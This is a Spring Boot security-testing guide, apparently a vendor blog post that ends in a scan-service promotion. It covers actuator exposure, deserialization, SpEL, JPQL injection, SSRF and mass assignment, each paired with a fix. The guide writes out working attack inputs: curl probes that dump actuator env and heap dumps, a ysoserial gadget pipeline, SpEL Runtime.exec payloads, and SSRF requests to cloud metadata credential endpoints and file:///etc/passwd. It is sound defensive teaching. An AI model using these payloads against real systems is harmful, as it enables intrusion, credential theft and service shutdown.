Java Spring Boot Security Testing: Vulnerabilities, Tools, and Remediation
Spring Boot powers a significant fraction of enterprise Java web applications — internal portals, microservices, external APIs, and everything in between. Its auto-configuration approach accelerates development but introduces security surface that developers don't always realize they've enabled. Actuator endpoints get exposed to the internet. Spring Security configurations get overridden to "fix" a failing test. JPA entities get bound directly to REST request bodies. Each of these is a commonly missed class of vulnerability that doesn't show up in a standard OWASP Top 10 scan.
This guide covers the Spring Boot-specific attack surface that pentesters target: actuator exposure, Security misconfiguration patterns, Java deserialization, SpEL injection, JPA/Hibernate SQL injection, SSRF via RestTemplate, mass assignment, and test environment bleed-through. For each class, you'll see what the vulnerable pattern looks like, how to test for it, and what the fix is.
Why Spring Boot Has Unique Security Challenges
Spring Boot's value proposition — convention over configuration, embedded server, auto-configured everything — creates a few specific risks that generic web security guidance doesn't address well.
Auto-configuration can enable features you didn't ask for. Adding a dependency to your pom.xml or build.gradle may activate new endpoints, data sources, or security configurations without an explicit opt-in. The Spring Actuator is the canonical example: add the spring-boot-actuator dependency and you get a suite of management endpoints enabled by default.
Embedded server means no central hardening point. Traditional Java applications deployed to Tomcat or JBoss rely on the server administrator to harden the container. With Spring Boot's embedded Tomcat or Jetty, the application is the server. Security headers, TLS configuration, and connector settings all live in the application — and in practice, get forgotten.
Spring Security's default-permissive override pattern. Spring Security starts relatively secure, but developers routinely disable protection wholesale to "fix" an issue — CSRF disabled globally, permitAll() applied to all routes, or method security annotations left off. These changes solve an immediate problem and introduce a broader one.
The Java ecosystem's deserialization legacy. Java's native serialization mechanism has been the source of critical RCE vulnerabilities for over a decade. Spring applications that use Java serialization for session management, message queuing, or caching carry this risk into otherwise modern applications.
Spring Actuator Exposure
Spring Boot Actuator provides operational endpoints for health checks, metrics, environment inspection, thread dumps, and heap dumps. In production, these endpoints should be locked down or not exposed at all. In practice, they frequently aren't.
What's exposed by default
In Spring Boot 2.x and later, Actuator limits exposure over HTTP to /actuator/health and /actuator/info by default. But misconfigured applications frequently set:
# application.properties — dangerously over-permissive
management.endpoints.web.exposure.include=*
management.endpoint.env.enabled=true
management.endpoint.heapdump.enabled=true
management.endpoint.shutdown.enabled=true
The wildcard * exposes every available actuator endpoint. The most sensitive are:
- /actuator/env — dumps all environment variables, system properties, and application configuration. Credentials, API keys, and database connection strings are routinely exposed here.
- /actuator/heapdump — downloads a full JVM heap dump. This can be analyzed offline to extract secrets, session tokens, and plaintext passwords from memory.
- /actuator/loggers — read and modify log levels at runtime. Setting log level to TRACE on sensitive packages can force plaintext logging of credentials.
- /actuator/shutdown — sends a POST to gracefully shut down the application. Denial of service via HTTP.
- /actuator/mappings — lists all Spring MVC request mappings. Free application reconnaissance.
- /actuator/beans — lists all Spring beans in the application context. Reveals internal architecture and dependencies.
Testing for actuator exposure
# Check for open actuator index
curl -s https://api.example.com/actuator | python3 -m json.tool
# Probe high-value endpoints directly
curl -s https://api.example.com/actuator/env
curl -s https://api.example.com/actuator/env | grep -i "password\|secret\|key\|token\|credential"
# Download heap dump (can be several hundred MB)
curl -s -o heapdump.hprof https://api.example.com/actuator/heapdump
# Read current logger levels
curl -s https://api.example.com/actuator/loggers
# Escalate logging on a sensitive class
curl -s -X POST https://api.example.com/actuator/loggers/org.springframework.security \
-H "Content-Type: application/json" \
-d '{"configuredLevel":"TRACE"}'
# List all mapped routes
curl -s https://api.example.com/actuator/mappings | python3 -m json.tool
# Attempt graceful shutdown
curl -s -X POST https://api.example.com/actuator/shutdown
Analyzing a heap dump for secrets
# Extract strings from heap dump — look for credentials
strings heapdump.hprof | grep -iE "password|secret|bearer|apikey" | head -50
# Use Eclipse Memory Analyzer (MAT) for structured analysis
# Or jmap to analyze a running process heap:
jmap -dump:format=b,file=heap.hprof <PID>
Spring Boot auto-configuration logs datasource URLs and credentials in the environment. An exposed /actuator/env endpoint often reveals spring.datasource.url, spring.datasource.username, and spring.datasource.password in plaintext.
Secure actuator configuration
# application.properties — secure actuator setup
# Only expose health and info over HTTP
management.endpoints.web.exposure.include=health,info
# Require authentication for all actuator endpoints
management.endpoints.web.base-path=/manage
management.server.port=8081 # Separate management port, firewall from internet
# Disable sensitive endpoints entirely if not needed
management.endpoint.heapdump.enabled=false
management.endpoint.shutdown.enabled=false
management.endpoint.env.enabled=false
// Spring Security — require authentication for all actuator endpoints
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
return http
.requestMatcher(EndpointRequest.toAnyEndpoint())
.authorizeHttpRequests(auth -> auth
.requestMatchers(EndpointRequest.to("health", "info")).permitAll()
.anyRequest().hasRole("ACTUATOR_ADMIN")
)
.httpBasic(withDefaults())
.build();
}
Spring Security Misconfiguration Patterns
Spring Security is configured correctly by default in most respects — but developers override defaults in ways that create large security gaps. These are the patterns that appear most frequently in Spring Boot security reviews.
Permitting all requests
// VULNERABLE — disables authentication for the entire application
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.authorizeHttpRequests(auth -> auth.anyRequest().permitAll());
return http.build();
}
// Also dangerous — disabling Spring Security entirely
@SpringBootApplication(exclude = {SecurityAutoConfiguration.class})
This pattern appears when developers add Spring Security to a project but haven't yet configured it, or when they want to "temporarily" bypass it during development. It frequently survives into production.
Global CSRF disable
// VULNERABLE — disables CSRF protection for all endpoints
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf.disable());
return http.build();
}
// SECURE — disable CSRF only for stateless API endpoints
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.csrf(csrf -> csrf
.ignoringRequestMatchers("/api/**") // REST API uses tokens, not cookies
);
return http.build();
}
CSRF protection should be disabled only for endpoints that don't rely on cookie-based session authentication — typically REST API endpoints that use Bearer tokens. Disabling it globally eliminates the protection for any form-based or session-based flows in the same application.
Method security gaps
// VULNERABLE — authorization only at the controller level
// If another route reaches the service layer, authorization is bypassed
@RestController
public class AdminController {
@GetMapping("/admin/users")
@PreAuthorize("hasRole('ADMIN')") // Only protects this specific route
public List<User> getAllUsers() {
return userService.findAll(); // Service itself has no authorization check
}
}
// SECURE — defense in depth with method security at the service layer
@Service
public class UserService {
@PreAuthorize("hasRole('ADMIN')") // Enforced regardless of which caller reaches here
public List<User> findAll() {
return userRepository.findAll();
}
}
Enable method security and apply @PreAuthorize at the service layer, not just at controllers. This ensures authorization holds even as the application grows and new routes are added that might accidentally reach sensitive service methods.
// Enable method security in a configuration class
@Configuration
@EnableMethodSecurity(prePostEnabled = true, securedEnabled = true)
public class MethodSecurityConfig {}
Java Deserialization Vulnerabilities
Java's native serialization mechanism — ObjectInputStream.readObject() — executes code during deserialization, before any application-level validation runs. Gadget chains built from classes on the application's classpath can be crafted to achieve remote code execution when deserialized.
Where deserialization appears in Spring apps
- HTTP session serialization (Redis, Memcached, JDBC session stores)
- JMS message bodies (ActiveMQ, RabbitMQ with Java serialization)
- RMI endpoints (Spring Remoting)
- Custom endpoints accepting
application/x-java-serialized-object - Java web start / JNLP (legacy Spring apps)
Detecting vulnerable endpoints
# Serialized Java objects start with the magic bytes AC ED 00 05
# Test endpoints that accept binary bodies or application/x-java-serialized-object
# Check if an endpoint accepts serialized objects
curl -s -X POST \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary $'\xac\xed\x00\x05' \
https://api.example.com/endpoint
# Look for the magic bytes in captured traffic using Burp Suite
# Filter: Request body contains \xac\xed
# Scan with ysoserial to generate test payloads
java -jar ysoserial.jar CommonsCollections6 "nslookup your-burp-collaborator.net" | \
curl -s -X POST \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary @- \
https://api.example.com/suspect-endpoint
Common gadget chains in Spring ecosystems
| Library | ysoserial Payload | Notes |
|---|---|---|
| Commons Collections 3.1-3.2.1 | CommonsCollections1–6 | Extremely common in legacy Spring apps |
| Commons Collections 4.0 | CommonsCollections2, 4 | Updated versions still vulnerable |
| Spring Framework | Spring1, Spring2 | Spring-specific gadgets |
| Groovy | Groovy1 | Present in Groovy-based Spring apps |
| Commons BeanUtils | BeanShell1, CommonsBeanutils1 | Appears with Spring MVC form binding |
Defense: SerialKiller and allowlisting
// Replace ObjectInputStream with SerialKiller (allowlist-based)
// Add to pom.xml: com.github.nickstadb:SerialKiller
import org.nibblesec.tools.SerialKiller;
// In code that reads serialized objects:
// VULNERABLE:
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject();
// SECURE — allowlist only expected types:
SerialKiller ois = new SerialKiller(inputStream, "/path/to/serialkiller.conf");
Object obj = ois.readObject();
# serialkiller.conf — allowlist expected types only
refresh=6000
blacklist:
java.lang.Runtime
java.lang.ProcessBuilder
org.apache.commons.collections.*
whitelist:
com.yourapp.model.*
java.util.ArrayList
java.lang.String
java.lang.Integer
SpEL (Spring Expression Language) Injection
Spring Expression Language is a powerful expression evaluation framework used throughout Spring — in @Value annotations, Spring Security's @PreAuthorize, Spring Data queries, and template engines. When user-controlled input reaches a SpEL evaluation context, the result is typically remote code execution.
How SpEL injection occurs
// VULNERABLE — evaluating user input as SpEL
@RestController
public class SearchController {
private final ExpressionParser parser = new SpelExpressionParser();
@GetMapping("/search")
public String search(@RequestParam String query) {
// Direct user input into SpEL evaluation — RCE
Expression expression = parser.parseExpression(query);
return expression.getValue(String.class);
}
}
// Attack payload (URL-encoded):
// GET /search?query=T(java.lang.Runtime).getRuntime().exec('id')
// GET /search?query=T(java.lang.ProcessBuilder).new(new+String[]{'id'}).start()
SpEL injection also appears in Spring Security's expression-based access control when developers build authorization expressions from user input, in Spring Data's @Query annotations where SpEL fragments are constructed from parameters, and in email template systems that use SpEL for variable substitution.
Testing for SpEL injection
# Basic SpEL detection payload — evaluates math, returns 7 if vulnerable
curl "https://api.example.com/search?query=7-1*0"
curl "https://api.example.com/search?query=%23%7B7*7%7D" # #{7*7}
# If the response returns "7" or "49" rather than the literal string, SpEL is being evaluated
# RCE confirmation via DNS callback
curl "https://api.example.com/search?query=T(java.lang.Runtime).getRuntime().exec('nslookup+your-collaborator.burpcollaborator.net')"
# Data extraction via SpEL
curl "https://api.example.com/search?query=T(java.lang.System).getenv('DATABASE_PASSWORD')"
Secure SpEL usage
// SECURE — use SimpleEvaluationContext to restrict SpEL capabilities
// This context prevents accessing Java types, constructors, and static methods
EvaluationContext context = SimpleEvaluationContext
.forReadOnlyDataBinding()
.withInstanceMethods()
.build();
// Only evaluate against a known model object, not arbitrary expressions
Expression expression = parser.parseExpression(knownSafeTemplate);
String result = expression.getValue(context, myModelObject, String.class);
// Even better: validate expressions against an allowlist before evaluation
private static final Set<String> ALLOWED_EXPRESSIONS = Set.of(
"user.name", "user.email", "order.total"
);
if (!ALLOWED_EXPRESSIONS.contains(userInput)) {
throw new IllegalArgumentException("Expression not permitted");
}
SQL Injection via JPA/Hibernate
Spring Data JPA hides SQL from developers, which is generally good for security — parameterized queries are the default. But JPA and JPQL still support string concatenation into queries, and HQL (Hibernate Query Language) injection is a real vulnerability class that bypasses the "we use an ORM, we're safe" assumption.
Vulnerable JPA query patterns
// VULNERABLE — string concatenation in JPQL
@Repository
public class UserRepository {
@PersistenceContext
private EntityManager em;
public List<User> findByRole(String role) {
// Direct string concatenation — JPQL injection
String jpql = "SELECT u FROM User u WHERE u.role = '" + role + "'";
return em.createQuery(jpql, User.class).getResultList();
}
}
// Attack payload: role = ' OR '1'='1
// Resulting JPQL: SELECT u FROM User u WHERE u.role = '' OR '1'='1'
// Returns all users regardless of role
// VULNERABLE — native query with concatenation
@Query(value = "SELECT * FROM users WHERE username = '" + ":username" + "'",
nativeQuery = true)
// (This is a simplified example — actual injection happens in dynamic query builders)
// VULNERABLE — Spring Data JPA Sort injection
// Sorting by a user-supplied column name without validation
public Page<User> getUsers(String sortBy, Pageable pageable) {
Sort sort = Sort.by(sortBy); // sortBy comes from user input
// Attack: sortBy = "CASE WHEN (SELECT COUNT(*) FROM admin_users) > 0 THEN 1 ELSE 0 END"
return userRepository.findAll(PageRequest.of(0, 10, sort));
}
Secure JPA patterns
// SECURE — named parameters
public List<User> findByRole(String role) {
return em.createQuery(
"SELECT u FROM User u WHERE u.role = :role", User.class
)
.setParameter("role", role)
.getResultList();
}
// SECURE — Spring Data JPA method naming (auto-generates parameterized query)
public interface UserRepository extends JpaRepository<User, Long> {
List<User> findByRole(String role);
List<User> findByEmailAndActive(String email, boolean active);
}
// SECURE — @Query with named parameters
@Query("SELECT u FROM User u WHERE u.username = :username AND u.active = true")
Optional<User> findActiveByUsername(@Param("username") String username);
// SECURE — Sort column validation against an explicit allowlist
private static final Set<String> ALLOWED_SORT_COLUMNS = Set.of("username", "email", "createdAt");
public Page<User> getUsers(String sortBy, Pageable pageable) {
if (!ALLOWED_SORT_COLUMNS.contains(sortBy)) {
sortBy = "createdAt"; // Fall back to safe default
}
return userRepository.findAll(PageRequest.of(0, 10, Sort.by(sortBy)));
}
SSRF via RestTemplate and WebClient
Server-Side Request Forgery occurs when an application makes HTTP requests to URLs derived from user input without adequate validation. Spring Boot applications use RestTemplate or the reactive WebClient to make external HTTP calls, and these are frequently vulnerable to SSRF when the target URL incorporates user-supplied parameters.
Vulnerable patterns
// VULNERABLE — user controls the full URL
@RestController
public class WebhookController {
private final RestTemplate restTemplate = new RestTemplate();
@PostMapping("/webhook/test")
public String testWebhook(@RequestParam String url) {
// Attacker supplies: url=http://169.254.169.254/latest/meta-data/
// Or: url=http://internal-service.corp.example.com/admin
return restTemplate.getForObject(url, String.class);
}
}
// VULNERABLE — user controls a URL parameter that gets assembled
@GetMapping("/fetch")
public String fetchResource(@RequestParam String host, @RequestParam String path) {
// Attacker controls host — can reach internal services
String url = "https://" + host + "/api/" + path;
return restTemplate.getForObject(url, String.class);
}
Testing for SSRF
# AWS metadata endpoint — confirms cloud SSRF
curl "https://api.example.com/webhook/test?url=http://169.254.169.254/latest/meta-data/"
curl "https://api.example.com/webhook/test?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# GCP metadata endpoint
curl "https://api.example.com/webhook/test?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Internal network scanning via SSRF
curl "https://api.example.com/webhook/test?url=http://10.0.0.1:8080/"
curl "https://api.example.com/webhook/test?url=http://localhost:8080/actuator/env"
# DNS-based SSRF detection (use Burp Collaborator or interactsh)
curl "https://api.example.com/webhook/test?url=http://your-collaborator.oast.me/"
# Protocol bypass attempts
curl "https://api.example.com/webhook/test?url=file:///etc/passwd"
curl "https://api.example.com/webhook/test?url=dict://localhost:6379/INFO"
Secure URL handling
// SECURE — allowlist permitted destinations
private static final Set<String> ALLOWED_HOSTS = Set.of(
"api.trusted-partner.com",
"hooks.slack.com",
"api.stripe.com"
);
@PostMapping("/webhook/test")
public String testWebhook(@RequestParam String url) {
URI uri;
try {
uri = new URI(url);
} catch (URISyntaxException e) {
throw new IllegalArgumentException("Invalid URL");
}
// Validate scheme
if (!"https".equals(uri.getScheme())) {
throw new SecurityException("Only HTTPS URLs are permitted");
}
// Validate host against allowlist
String host = uri.getHost();
if (host == null || !ALLOWED_HOSTS.contains(host)) {
throw new SecurityException("Host not in allowlist: " + host);
}
// Prevent IP address literals (bypasses hostname allowlist via DNS rebinding)
try {
InetAddress addr = InetAddress.getByName(host);
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress() || addr.isLinkLocalAddress()) {
throw new SecurityException("Private IP ranges not permitted");
}
} catch (UnknownHostException e) {
throw new SecurityException("Cannot resolve host");
}
return restTemplate.getForObject(uri, String.class);
}
Mass Assignment via @RequestBody with JPA Entities
Mass assignment occurs when an API binds request body fields directly to a data model without restricting which fields can be set. In Spring Boot, this happens when JPA entities are used directly as @RequestBody parameters — the entire entity graph is exposed for client-side manipulation.
The vulnerable pattern
// VULNERABLE — JPA entity used directly as request body
@Entity
public class User {
@Id
@GeneratedValue
private Long id;
private String username;
private String email;
private String role; // Should never be set by the user
private boolean adminVerified; // Should never be set by the user
private Long accountBalance; // Should never be set by the user
}
@RestController
public class UserController {
@PutMapping("/api/users/{id}")
public User updateUser(@PathVariable Long id, @RequestBody User user) {
// User controls ALL fields including role, adminVerified, accountBalance
user.setId(id);
return userRepository.save(user);
}
}
// Attack payload:
// PUT /api/users/123
// {"username":"alice","email":"alice@example.com","role":"ADMIN","adminVerified":true,"accountBalance":1000000}
Secure pattern: dedicated DTOs
// SECURE — separate DTO for request binding, explicit field mapping
// Request DTO — only fields the user is permitted to set
public class UserUpdateRequest {
@NotBlank
private String username;
@Email
private String email;
// role, adminVerified, accountBalance are NOT present
// Getters and setters...
}
@RestController
public class UserController {
@PutMapping("/api/users/{id}")
public UserResponse updateUser(
@PathVariable Long id,
@Valid @RequestBody UserUpdateRequest request,
@AuthenticationPrincipal UserDetails currentUser
) {
User existingUser = userRepository.findById(id)
.orElseThrow(() -> new ResourceNotFoundException("User not found"));
// Explicit field mapping — only permitted fields are updated
existingUser.setUsername(request.getUsername());
existingUser.setEmail(request.getEmail());
// role, adminVerified, accountBalance remain untouched
return UserResponse.from(userRepository.save(existingUser));
}
}
// Response DTO — controls what's returned (don't expose internal fields)
public class UserResponse {
private Long id;
private String username;
private String email;
// password, internal flags NOT included
public static UserResponse from(User user) {
UserResponse r = new UserResponse();
r.setId(user.getId());
r.setUsername(user.getUsername());
r.setEmail(user.getEmail());
return r;
}
}
Using @JsonIgnore on entity fields is an inadequate fix — it prevents serialization but not deserialization by default, and Jackson configuration changes can inadvertently re-enable it. The only reliable protection is a dedicated DTO layer with explicit field mapping.
Spring Boot Test Environment Issues
Spring Boot's developer experience features — H2 in-memory database console, test profiles, debug endpoints — are designed for local development. They routinely end up in production deployments due to misconfigured build pipelines, environment variable gaps, or profile activation mistakes.
H2 console exposure
# H2 console is often active at /h2-console when spring.h2.console.enabled=true
# In development this is expected; in production it grants direct database access
# Test for H2 console
curl -s -o /dev/null -w "%{http_code}" https://api.example.com/h2-console
# If 200 — the H2 console is live. Access grants a SQL editor on the application database.
# Default credentials are often blank or sa/blank
# application.properties — disable H2 console in all profiles
spring.h2.console.enabled=false
# If H2 is needed in development only, use a profile-specific properties file:
# application-dev.properties:
spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=false # localhost only
Test profiles in production
// DANGEROUS — test configuration that disables security
@Profile("test")
@TestConfiguration
public class TestSecurityConfig {
@Bean
@Primary
public SecurityFilterChain testFilterChain(HttpSecurity http) throws Exception {
// Disables all security for tests
http.authorizeHttpRequests(auth -> auth.anyRequest().permitAll())
.csrf(csrf -> csrf.disable());
return http.build();
}
}
// If the "test" profile is accidentally active in production
// (e.g., SPRING_PROFILES_ACTIVE=test in the environment)
// the entire application security is disabled
# Check active profiles via actuator
curl -s https://api.example.com/actuator/env | python3 -m json.tool | grep -i "profile"
# Or check the health endpoint which sometimes reveals active profiles
curl -s https://api.example.com/actuator/info
// SECURE — guard test configurations against accidental activation
@Profile("test")
@TestConfiguration
public class TestSecurityConfig {
// Add a startup assertion so it fails loudly if activated outside tests
@PostConstruct
public void assertTestEnvironment() {
String activeProfiles = System.getenv("SPRING_PROFILES_ACTIVE");
if (activeProfiles != null && !activeProfiles.contains("test")) {
throw new IllegalStateException(
"TestSecurityConfig activated outside test environment — aborting startup"
);
}
}
}
Spring Boot DevTools in production
# spring-boot-devtools enables live reload, remote debug, and relaxed security settings
# It should never be on the production classpath
# Check if DevTools is active
curl -s https://api.example.com/actuator/info | grep -i devtools
# In pom.xml — mark devtools as optional and development-only
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-devtools</artifactId>
<scope>runtime</scope>
<optional>true</optional> <!-- Excluded from fat JAR and downstream dependencies -->
</dependency>
Tool Chain for Scanning Spring Boot Applications
Effective Spring Boot security testing combines dynamic application scanning with static analysis of the source code. No single tool covers the full attack surface.
OWASP ZAP with Spring Boot-specific configuration
# Start ZAP in daemon mode and spider a Spring Boot app
# Includes actuator endpoints in the scan scope
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://api.example.com \
-c zap-config.yaml \
-r zap-report.html
# Active scan with authentication — needed to test protected endpoints
zap-api-scan.py \
-t https://api.example.com/v3/api-docs \ # Spring Boot OpenAPI spec
-f openapi \
-x zap-api-report.xml
Nuclei with Spring-specific templates
# Run nuclei with Spring Boot detection templates
nuclei -u https://api.example.com \
-t technologies/spring/ \
-t exposures/configs/spring-actuator.yaml \
-t vulnerabilities/spring/
# Specific actuator exposure templates
nuclei -u https://api.example.com \
-t http/exposures/apis/spring-actuator.yaml \
-t http/exposures/configs/springboot-env.yaml \
-t http/vulnerabilities/spring/spring-actuator-heapdump.yaml \
-severity medium,high,critical
# Run against a list of Spring Boot targets
nuclei -l spring-targets.txt \
-t technologies/spring/ \
-o nuclei-results.json -json
find-sec-bugs for static analysis
# find-sec-bugs is a SpotBugs plugin that detects Spring-specific security issues
# Add to pom.xml:
<plugin>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-maven-plugin</artifactId>
<version>4.8.3.1</version>
<configuration>
<plugins>
<plugin>
<groupId>com.h3xstream.findsecbugs</groupId>
<artifactId>findsecbugs-plugin</artifactId>
<version>1.13.0</version>
</plugin>
</plugins>
</configuration>
</plugin>
# Run the scan
mvn spotbugs:check
# find-sec-bugs detects:
# - SQL injection in JPA queries
# - Command injection
# - Path traversal
# - Hardcoded credentials
# - Insecure deserialization
# - Spring-specific misconfigurations
Additional tools
| Tool | Focus | When to Use |
|---|---|---|
| ysoserial | Java deserialization gadget chains | Testing endpoints that accept serialized Java objects |
| Burp Suite Pro | Manual + active scanning, authenticated sessions | Full application assessment including authenticated flows |
| OWASP Dependency-Check | Known CVEs in Maven/Gradle dependencies | Identify outdated Spring, Commons Collections versions |
| Semgrep (java.spring rules) | Source code pattern matching | CI pipeline integration for SAST |
| Retire.js / OWASP DC | Frontend dependency CVEs | Spring Boot apps with embedded frontend assets |
| interactsh / Burp Collaborator | Out-of-band interaction detection | Confirming blind SSRF, deserialization RCE, SSTI |
Spring Boot Security Testing Checklist
- Probe
/actuatorindex — enumerate all exposed endpoints - Test
/actuator/envfor credential exposure in configuration values - Attempt
/actuator/heapdumpdownload and search for secrets in output - Verify
/actuator/shutdownrequires POST and is authenticated (or disabled) - Check
/actuator/mappingsto enumerate all registered routes for further testing - Confirm Spring Security configuration does not use
anyRequest().permitAll()in production - Verify CSRF is only disabled for API endpoints using token auth, not globally
- Check that
@PreAuthorizeor equivalent is applied at the service layer, not only at controllers - Look for endpoints accepting
application/x-java-serialized-object— test with ysoserial payloads - Review session configuration — if using Redis/Memcached, check if Java serialization is used for session storage
- Search source for
createQuerywith string concatenation — test for JPQL injection - Identify endpoints where user input controls sort column or query ordering
- Test for SpEL injection: send math expressions (
7*7,#{7*7}) in all string parameters - Find all
RestTemplate.getForObject()andWebClient.get().uri()calls — trace user input to URL construction - Test SSRF-candidate endpoints with AWS/GCP metadata URLs and internal addresses
- Check all PUT/PATCH endpoints that accept
@RequestBody— verify DTO separation from JPA entities - Test mass assignment: include privilege-escalating fields (role, isAdmin, balance) in update payloads
- Probe
/h2-console— should return 404 or 401 in production - Verify active Spring profiles via actuator or error messages — no
testordevprofile in production - Check
spring-boot-devtoolsis not on the production classpath - Run find-sec-bugs/SpotBugs with findsecbugs plugin on source code
- Run OWASP Dependency-Check — flag CVEs in Commons Collections, Spring, Hibernate versions
- Run nuclei with
technologies/spring/andexposures/template sets
Ironimo scans Spring Boot applications for actuator exposure, Spring Security misconfigurations, SSRF, mass assignment, and injection flaws — using the same checks a professional pentester runs manually, automated and on demand.
Get a full security assessment of your Spring Boot API without scheduling a consultant or waiting for the next annual pentest cycle.
Start free scan